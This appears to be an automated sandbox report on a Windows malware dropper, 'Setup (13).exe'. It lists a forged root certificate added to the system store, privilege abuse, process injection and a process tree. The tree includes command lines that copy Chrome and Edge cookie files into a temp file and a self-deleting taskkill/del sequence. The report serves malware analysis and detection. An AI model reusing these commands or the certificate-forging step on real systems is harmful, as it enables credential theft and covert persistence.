\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA GameBoxWin64.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7AA33256AD743E2CD006C4BA2A2DA8852031CA9B\Blob = 0300000001000000140000007aa33256ad743e2cd006c4ba2a2da8852031ca9b2000000001000000ec020000308202e830820251a00302010202086ad2c75f17a9cc73300d06092a864886f70d01010b05003081863146304406035504030c3d56653072695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735311b3019060355040b0c1222286329203230303620566572695369676e31123010060355040a0c0922566572695369676e310b3009060355040613025553301e170d3139303832343137323934305a170d3233303832333137323934305a3081863146304406035504030c3d56653072695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735311b3019060355040b0c1222286329203230303620566572695369676e31123010060355040a0c0922566572695369676e310b300906035504061302555330819f300d06092a864886f70d010101050003818d0030818902818100a9de746032ac183873d849e78073fa4254dbc0c73b84a2b8af5bab69dc646ca0f1945f5c95c5c1b818746840aa23540e2073ed7fa8749a799eff6857f6d6d9343f88aaced3caca4c79b0d2aebf1680c1b0580f497e7ce647f147a909df683331783e060ac2712a1ba0ca04793b33f56daff1f8efda355b3b1d66212f457209550203010001a35d305b300f0603551d130101ff040530030101ff30480603551d110441303f823d56653072695369676e20436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479202d204735300d06092a864886f70d01010b0500038181005388d588acf5c7abac69e572e5fe7dcb1304c347189bf44da850697744f8f0aa4cb7c0bf409bc03b4b148e4702bc982d45145bf44c047d660ae882be0a413399f708b261389dc11a48b7fd6a52a61bd2933f7a8b3028fb1240052ca622c0653132998406b1a9212729da518e2766c57bb8864d95c2f72241f3d93ea5693cdcb1 RUNDLL32.EXE -
Runs ping.exe 1 TTPs 2 IoCs
-
Script User-Agent 32 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 231 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 356 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 460 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 143 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 150 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 263 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 374 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 396 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 142 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 235 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 459 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 180 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 397 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 233 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 378 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 467 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 210 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 232 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 240 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 366 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 472 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 202 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 238 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1306 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 225 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 226 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 280 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 401 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 445 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 478 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 200 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 229 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
Setup (13).exeSy8Smn3WlNY0g0FMgl9ox33q.exeWerFault.exesrx17UjXQeKHoITCe6QYeDRQ.exepid process 656 Setup (13).exe 656 Setup (13).exe 4224 Sy8Smn3WlNY0g0FMgl9ox33q.exe 4224 Sy8Smn3WlNY0g0FMgl9ox33q.exe 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 4168 WerFault.exe 4168 WerFault.exe 4168 WerFault.exe 4168 WerFault.exe 4168 WerFault.exe 4168 WerFault.exe 4168 WerFault.exe 4168 WerFault.exe 4168 WerFault.exe 4168 WerFault.exe 4168 WerFault.exe 4168 WerFault.exe 4168 WerFault.exe 4168 WerFault.exe 4168 WerFault.exe 4168 WerFault.exe 4168 WerFault.exe 4168 WerFault.exe 4168 WerFault.exe 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 4616 srx17UjXQeKHoITCe6QYeDRQ.exe 4616 srx17UjXQeKHoITCe6QYeDRQ.exe 3020 3020 3020 3020 3020 3020 3020 -
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
Processes:
wSkUQdg9eXwLMP3Xe8hyuuQX.exepid process 3020 9228 wSkUQdg9eXwLMP3Xe8hyuuQX.exe -
Suspicious behavior: MapViewOfSection 48 IoCs
Processes:
Sy8Smn3WlNY0g0FMgl9ox33q.exesrx17UjXQeKHoITCe6QYeDRQ.exeeXr7_LLJdWYTop1YzLm_QeHk.exeexplorer.exeexplorer.exeexplorer.exefwwiwvcrcwiwvcrcwiwvcpid process 4224 Sy8Smn3WlNY0g0FMgl9ox33q.exe 4616 srx17UjXQeKHoITCe6QYeDRQ.exe 5512 eXr7_LLJdWYTop1YzLm_QeHk.exe 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 3020 8532 explorer.exe 8532 explorer.exe 7900 explorer.exe 7900 explorer.exe 3504 explorer.exe 3504 explorer.exe 3504 explorer.exe 3504 explorer.exe 8532 explorer.exe 8532 explorer.exe 7900 explorer.exe 7900 explorer.exe 3504 explorer.exe 3504 explorer.exe 8532 explorer.exe 8532 explorer.exe 7900 explorer.exe 7900 explorer.exe 7900 explorer.exe 7900 explorer.exe 3504 explorer.exe 3504 explorer.exe 8532 explorer.exe 8532 explorer.exe 4136 fwwiwvc 4080 rcwiwvc 9824 rcwiwvc -
Suspicious behavior: SetClipboardViewer 2 IoCs
Processes:
1856711.exe7499957.exepid process 2960 1856711.exe 8660 7499957.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
tXeyMBYzZkXAvBObko0hyUE0.exeWerFault.exeWerFault.exeMkUJBpTtAfGlkX4du8wRlRNU.exeWerFault.exeWerFault.exeppDDSZjoP6QBdKGzcUisKQc0.exeKSraykjBAgFKMYGPvuzrDWuH.exevknD0ATLjHw2BkxuALAGvqX5.exeRrOS_NpsYb1qjEyd619lZYW1.exeFdTwZzySl8xLCEhH6g0wue1K.exeUaknCH3EJQTdkYUqia4rM3G3.exeWerFault.exeWerFault.exerF84DcC0XlKB7oU0QNRmpAm4.exe6284614.exe2333190.exe2891053.exetaskkill.exetaskkill.exeP8obkqIKLX5nW5yam1WFJZus.exeEsplorarne.exe.comdescription pid process Token: SeDebugPrivilege 4744 Token: SeDebugPrivilege 4408 tXeyMBYzZkXAvBObko0hyUE0.exe Token: SeShutdownPrivilege 3020 Token: SeCreatePagefilePrivilege 3020 Token: SeShutdownPrivilege 3020 Token: SeCreatePagefilePrivilege 3020 Token: SeShutdownPrivilege 3020 Token: SeCreatePagefilePrivilege 3020 Token: SeShutdownPrivilege 3020 Token: SeCreatePagefilePrivilege 3020 Token: SeRestorePrivilege 4168 WerFault.exe Token: SeBackupPrivilege 4168 WerFault.exe Token: SeDebugPrivilege 4168 WerFault.exe Token: SeShutdownPrivilege 3020 Token: SeCreatePagefilePrivilege 3020 Token: SeShutdownPrivilege 3020 Token: SeCreatePagefilePrivilege 3020 Token: SeShutdownPrivilege 3020 Token: SeCreatePagefilePrivilege 3020 Token: SeShutdownPrivilege 3020 Token: SeCreatePagefilePrivilege 3020 Token: SeShutdownPrivilege 3020 Token: SeCreatePagefilePrivilege 3020 Token: SeDebugPrivilege 4148 WerFault.exe Token: SeDebugPrivilege 4820 MkUJBpTtAfGlkX4du8wRlRNU.exe Token: SeDebugPrivilege 1056 WerFault.exe Token: SeShutdownPrivilege 3020 Token: SeCreatePagefilePrivilege 3020 Token: SeShutdownPrivilege 3020 Token: SeCreatePagefilePrivilege 3020 Token: SeDebugPrivilege 4392 WerFault.exe Token: SeDebugPrivilege 3260 ppDDSZjoP6QBdKGzcUisKQc0.exe Token: SeDebugPrivilege 3028 KSraykjBAgFKMYGPvuzrDWuH.exe Token: SeDebugPrivilege 2820 vknD0ATLjHw2BkxuALAGvqX5.exe Token: SeDebugPrivilege 4856 RrOS_NpsYb1qjEyd619lZYW1.exe Token: SeShutdownPrivilege 3020 Token: SeCreatePagefilePrivilege 3020 Token: SeShutdownPrivilege 3020 Token: SeCreatePagefilePrivilege 3020 Token: SeShutdownPrivilege 3020 Token: SeCreatePagefilePrivilege 3020 Token: SeDebugPrivilege 4204 FdTwZzySl8xLCEhH6g0wue1K.exe Token: SeDebugPrivilege 4536 UaknCH3EJQTdkYUqia4rM3G3.exe Token: SeDebugPrivilege 3284 WerFault.exe Token: SeDebugPrivilege 4124 WerFault.exe Token: SeDebugPrivilege 4364 rF84DcC0XlKB7oU0QNRmpAm4.exe Token: SeShutdownPrivilege 3020 Token: SeCreatePagefilePrivilege 3020 Token: SeDebugPrivilege 5488 6284614.exe Token: SeDebugPrivilege 5676 2333190.exe Token: SeDebugPrivilege 5588 2891053.exe Token: SeDebugPrivilege 5916 taskkill.exe Token: SeDebugPrivilege 6132 taskkill.exe Token: SeDebugPrivilege 5148 P8obkqIKLX5nW5yam1WFJZus.exe Token: SeManageVolumePrivilege 4672 Esplorarne.exe.com Token: SeShutdownPrivilege 3020 Token: SeCreatePagefilePrivilege 3020 Token: SeShutdownPrivilege 3020 Token: SeCreatePagefilePrivilege 3020 Token: SeShutdownPrivilege 3020 Token: SeCreatePagefilePrivilege 3020 Token: SeShutdownPrivilege 3020 Token: SeCreatePagefilePrivilege 3020 Token: SeShutdownPrivilege 3020 -
Suspicious use of FindShellTrayWindow 64 IoCs
Processes:
DQ9LVdVeGrXrZKnsuIxISMgN.tmpCleaner Installation.exeInlog.tmpWEATHER Manager.tmpVPN.tmpStats.tmpSetup.exeB7nNmtmreoVMe9QXRo7FWqIW.tmpSetup.tmpSetup.tmpEsplorarne.exe.comEsplorarne.exe.comEsplorarne.exe.compid process 4216 DQ9LVdVeGrXrZKnsuIxISMgN.tmp 3020 3020 3020 3020 2188 Cleaner Installation.exe 5012 Inlog.tmp 5996 WEATHER Manager.tmp 1280 VPN.tmp 5524 Stats.tmp 6552 Setup.exe 4004 B7nNmtmreoVMe9QXRo7FWqIW.tmp 6472 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 3896 Setup.tmp 9044 Esplorarne.exe.com 3020 3020 9044 Esplorarne.exe.com 9044 Esplorarne.exe.com 9044 Esplorarne.exe.com 3020 3020 7880 Esplorarne.exe.com 3020 3020 7880 Esplorarne.exe.com 7880 Esplorarne.exe.com 7880 Esplorarne.exe.com 3020 3020 7620 Esplorarne.exe.com -
Suspicious use of SendNotifyMessage 64 IoCs
Processes:
Esplorarne.exe.comEsplorarne.exe.comEsplorarne.exe.comEsplorarne.exe.comEsplorarne.exe.comEsplorarne.exe.comEsplorarne.exe.comEsplorarne.exe.comMsiExec.exe5YWVUH5NGCD8vEjnnDXYASpS.exeEsplorarne.exe.compowershell.exeEsplorarne.exe.comEsplorarne.exe.comexplorer.exetapinstall.exeEsplorarne.exe.compid process 3020 3020 9044 Esplorarne.exe.com 9044 Esplorarne.exe.com 9044 Esplorarne.exe.com 9044 Esplorarne.exe.com 7880 Esplorarne.exe.com 7880 Esplorarne.exe.com 7880 Esplorarne.exe.com 7880 Esplorarne.exe.com 7620 Esplorarne.exe.com 7620 Esplorarne.exe.com 7620 Esplorarne.exe.com 7620 Esplorarne.exe.com 8728 Esplorarne.exe.com 8728 Esplorarne.exe.com 8728 Esplorarne.exe.com 8728 Esplorarne.exe.com 8524 Esplorarne.exe.com 8524 Esplorarne.exe.com 8524 Esplorarne.exe.com 8524 Esplorarne.exe.com 6372 Esplorarne.exe.com 6372 Esplorarne.exe.com 6372 Esplorarne.exe.com 6372 Esplorarne.exe.com 4924 Esplorarne.exe.com 4924 Esplorarne.exe.com 4924 Esplorarne.exe.com 4924 Esplorarne.exe.com 7820 Esplorarne.exe.com 7820 Esplorarne.exe.com 7820 Esplorarne.exe.com 6368 MsiExec.exe 6368 MsiExec.exe 6368 MsiExec.exe 6368 MsiExec.exe 3964 5YWVUH5NGCD8vEjnnDXYASpS.exe 3964 5YWVUH5NGCD8vEjnnDXYASpS.exe 3964 5YWVUH5NGCD8vEjnnDXYASpS.exe 8496 Esplorarne.exe.com 8496 Esplorarne.exe.com 8496 Esplorarne.exe.com 7916 powershell.exe 7916 powershell.exe 7916 powershell.exe 7916 powershell.exe 1080 Esplorarne.exe.com 1080 Esplorarne.exe.com 1080 Esplorarne.exe.com 1216 Esplorarne.exe.com 1216 Esplorarne.exe.com 1216 Esplorarne.exe.com 1216 Esplorarne.exe.com 3504 explorer.exe 3504 explorer.exe 3504 explorer.exe 3504 explorer.exe 9092 tapinstall.exe 9092 tapinstall.exe 9092 tapinstall.exe 9092 tapinstall.exe 6920 Esplorarne.exe.com 6920 Esplorarne.exe.com -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
builder.exeEsplorarne.exe.comMicrosoftEdge.exeMicrosoftEdgeCP.exeMaskVPNUpdate.exewSkUQdg9eXwLMP3Xe8hyuuQX.exepid process 7084 builder.exe 6364 Esplorarne.exe.com 3020 7928 MicrosoftEdge.exe 2076 MicrosoftEdgeCP.exe 9820 MaskVPNUpdate.exe 2076 MicrosoftEdgeCP.exe 9228 wSkUQdg9eXwLMP3Xe8hyuuQX.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Setup (13).exeDQ9LVdVeGrXrZKnsuIxISMgN.exedescription pid process target process PID 656 wrote to memory of 1528 656 Setup (13).exe Sy8Smn3WlNY0g0FMgl9ox33q.exe PID 656 wrote to memory of 1528 656 Setup (13).exe Sy8Smn3WlNY0g0FMgl9ox33q.exe PID 656 wrote to memory of 1528 656 Setup (13).exe Sy8Smn3WlNY0g0FMgl9ox33q.exe PID 656 wrote to memory of 3896 656 Setup (13).exe P2vqneoMmPuKSSuMKvJadR9G.exe PID 656 wrote to memory of 3896 656 Setup (13).exe P2vqneoMmPuKSSuMKvJadR9G.exe PID 656 wrote to memory of 3896 656 Setup (13).exe P2vqneoMmPuKSSuMKvJadR9G.exe PID 656 wrote to memory of 872 656 Setup (13).exe kU7E9j21REUeB3zXnaaIg2iF.exe PID 656 wrote to memory of 872 656 Setup (13).exe kU7E9j21REUeB3zXnaaIg2iF.exe PID 656 wrote to memory of 872 656 Setup (13).exe kU7E9j21REUeB3zXnaaIg2iF.exe PID 656 wrote to memory of 2168 656 Setup (13).exe 6aeNHrZ4FLprUXrImovwPiDB.exe PID 656 wrote to memory of 2168 656 Setup (13).exe 6aeNHrZ4FLprUXrImovwPiDB.exe PID 656 wrote to memory of 2168 656 Setup (13).exe 6aeNHrZ4FLprUXrImovwPiDB.exe PID 656 wrote to memory of 2452 656 Setup (13).exe 0SDRNlaKVLytRdopwwPIYaS2.exe PID 656 wrote to memory of 2452 656 Setup (13).exe 0SDRNlaKVLytRdopwwPIYaS2.exe PID 656 wrote to memory of 2452 656 Setup (13).exe 0SDRNlaKVLytRdopwwPIYaS2.exe PID 656 wrote to memory of 2468 656 Setup (13).exe ImQEbdeCAQ20rGBrZVrQsHp0.exe PID 656 wrote to memory of 2468 656 Setup (13).exe ImQEbdeCAQ20rGBrZVrQsHp0.exe PID 656 wrote to memory of 2468 656 Setup (13).exe ImQEbdeCAQ20rGBrZVrQsHp0.exe PID 656 wrote to memory of 3028 656 Setup (13).exe KSraykjBAgFKMYGPvuzrDWuH.exe PID 656 wrote to memory of 3028 656 Setup (13).exe KSraykjBAgFKMYGPvuzrDWuH.exe PID 656 wrote to memory of 3028 656 Setup (13).exe KSraykjBAgFKMYGPvuzrDWuH.exe PID 656 wrote to memory of 1512 656 Setup (13).exe aRyMzRcSheB9cpIH1opURDLk.exe PID 656 wrote to memory of 1512 656 Setup (13).exe aRyMzRcSheB9cpIH1opURDLk.exe PID 656 wrote to memory of 1512 656 Setup (13).exe aRyMzRcSheB9cpIH1opURDLk.exe PID 656 wrote to memory of 2588 656 Setup (13).exe B0m3nJcdf1PM9fYVcg6oA4FX.exe PID 656 wrote to memory of 2588 656 Setup (13).exe B0m3nJcdf1PM9fYVcg6oA4FX.exe PID 656 wrote to memory of 2588 656 Setup (13).exe B0m3nJcdf1PM9fYVcg6oA4FX.exe PID 656 wrote to memory of 2824 656 Setup (13).exe MkUJBpTtAfGlkX4du8wRlRNU.exe PID 656 wrote to memory of 2824 656 Setup (13).exe MkUJBpTtAfGlkX4du8wRlRNU.exe PID 656 wrote to memory of 2824 656 Setup (13).exe MkUJBpTtAfGlkX4du8wRlRNU.exe PID 656 wrote to memory of 2820 656 Setup (13).exe vknD0ATLjHw2BkxuALAGvqX5.exe PID 656 wrote to memory of 2820 656 Setup (13).exe vknD0ATLjHw2BkxuALAGvqX5.exe PID 656 wrote to memory of 2820 656 Setup (13).exe vknD0ATLjHw2BkxuALAGvqX5.exe PID 656 wrote to memory of 1064 656 Setup (13).exe RrOS_NpsYb1qjEyd619lZYW1.exe PID 656 wrote to memory of 1064 656 Setup (13).exe RrOS_NpsYb1qjEyd619lZYW1.exe PID 656 wrote to memory of 1064 656 Setup (13).exe RrOS_NpsYb1qjEyd619lZYW1.exe PID 656 wrote to memory of 1060 656 Setup (13).exe FdTwZzySl8xLCEhH6g0wue1K.exe PID 656 wrote to memory of 1060 656 Setup (13).exe FdTwZzySl8xLCEhH6g0wue1K.exe PID 656 wrote to memory of 1060 656 Setup (13).exe FdTwZzySl8xLCEhH6g0wue1K.exe PID 656 wrote to memory of 3260 656 Setup (13).exe ppDDSZjoP6QBdKGzcUisKQc0.exe PID 656 wrote to memory of 3260 656 Setup (13).exe ppDDSZjoP6QBdKGzcUisKQc0.exe PID 656 wrote to memory of 3260 656 Setup (13).exe ppDDSZjoP6QBdKGzcUisKQc0.exe PID 656 wrote to memory of 2072 656 Setup (13).exe lTdARvNzLhrSRWDDbUC_YlI_.exe PID 656 wrote to memory of 2072 656 Setup (13).exe lTdARvNzLhrSRWDDbUC_YlI_.exe PID 656 wrote to memory of 2072 656 Setup (13).exe lTdARvNzLhrSRWDDbUC_YlI_.exe PID 656 wrote to memory of 3872 656 Setup (13).exe 4UWr7dZWYWh4OdV_Ck_V_Xva.exe PID 656 wrote to memory of 3872 656 Setup (13).exe 4UWr7dZWYWh4OdV_Ck_V_Xva.exe PID 656 wrote to memory of 4116 656 Setup (13).exe DQ9LVdVeGrXrZKnsuIxISMgN.exe PID 656 wrote to memory of 4116 656 Setup (13).exe DQ9LVdVeGrXrZKnsuIxISMgN.exe PID 656 wrote to memory of 4116 656 Setup (13).exe DQ9LVdVeGrXrZKnsuIxISMgN.exe PID 4116 wrote to memory of 4216 4116 DQ9LVdVeGrXrZKnsuIxISMgN.exe DQ9LVdVeGrXrZKnsuIxISMgN.tmp PID 4116 wrote to memory of 4216 4116 DQ9LVdVeGrXrZKnsuIxISMgN.exe DQ9LVdVeGrXrZKnsuIxISMgN.tmp PID 4116 wrote to memory of 4216 4116 DQ9LVdVeGrXrZKnsuIxISMgN.exe DQ9LVdVeGrXrZKnsuIxISMgN.tmp PID 656 wrote to memory of 4264 656 Setup (13).exe aQgwpgKDeY1YfvVzQirC9bsE.exe PID 656 wrote to memory of 4264 656 Setup (13).exe aQgwpgKDeY1YfvVzQirC9bsE.exe PID 656 wrote to memory of 4264 656 Setup (13).exe aQgwpgKDeY1YfvVzQirC9bsE.exe PID 656 wrote to memory of 4316 656 Setup (13).exe kkWtNVg3HEIGb3VZ5t9poqQM.exe PID 656 wrote to memory of 4316 656 Setup (13).exe kkWtNVg3HEIGb3VZ5t9poqQM.exe PID 656 wrote to memory of 4316 656 Setup (13).exe kkWtNVg3HEIGb3VZ5t9poqQM.exe PID 656 wrote to memory of 4364 656 Setup (13).exe rF84DcC0XlKB7oU0QNRmpAm4.exe PID 656 wrote to memory of 4364 656 Setup (13).exe rF84DcC0XlKB7oU0QNRmpAm4.exe PID 656 wrote to memory of 4364 656 Setup (13).exe rF84DcC0XlKB7oU0QNRmpAm4.exe PID 656 wrote to memory of 4376 656 Setup (13).exe j2uH5vyDbsSWOyQBPBiQdWB9.exe PID 656 wrote to memory of 4376 656 Setup (13).exe j2uH5vyDbsSWOyQBPBiQdWB9.exe
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
-
C:\Users\Admin\AppData\Roaming\rcwiwvcC:\Users\Admin\AppData\Roaming\rcwiwvc2⤵
-
C:\Users\Admin\AppData\Roaming\rcwiwvcC:\Users\Admin\AppData\Roaming\rcwiwvc3⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Roaming\fwwiwvcC:\Users\Admin\AppData\Roaming\fwwiwvc2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Roaming\rcwiwvcC:\Users\Admin\AppData\Roaming\rcwiwvc2⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\rcwiwvcC:\Users\Admin\AppData\Roaming\rcwiwvc3⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Roaming\fwwiwvcC:\Users\Admin\AppData\Roaming\fwwiwvc2⤵
-
C:\Users\Admin\AppData\Roaming\rcwiwvcC:\Users\Admin\AppData\Roaming\rcwiwvc2⤵
-
C:\Users\Admin\AppData\Roaming\rcwiwvcC:\Users\Admin\AppData\Roaming\rcwiwvc3⤵
-
C:\Users\Admin\AppData\Roaming\fwwiwvcC:\Users\Admin\AppData\Roaming\fwwiwvc2⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\Setup (13).exe"C:\Users\Admin\AppData\Local\Temp\Setup (13).exe"1⤵
- Checks computer location settings
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\aRyMzRcSheB9cpIH1opURDLk.exe"C:\Users\Admin\Documents\aRyMzRcSheB9cpIH1opURDLk.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im aRyMzRcSheB9cpIH1opURDLk.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\aRyMzRcSheB9cpIH1opURDLk.exe" & del C:\ProgramData\*.dll & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im aRyMzRcSheB9cpIH1opURDLk.exe /f4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Documents\KSraykjBAgFKMYGPvuzrDWuH.exe"C:\Users\Admin\Documents\KSraykjBAgFKMYGPvuzrDWuH.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\ImQEbdeCAQ20rGBrZVrQsHp0.exe"C:\Users\Admin\Documents\ImQEbdeCAQ20rGBrZVrQsHp0.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Program Files (x86)\Company\NewProduct\customer3.exe"C:\Program Files (x86)\Company\NewProduct\customer3.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4724 -s 14964⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"3⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Company\NewProduct\jooyu.exe"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt4⤵
-
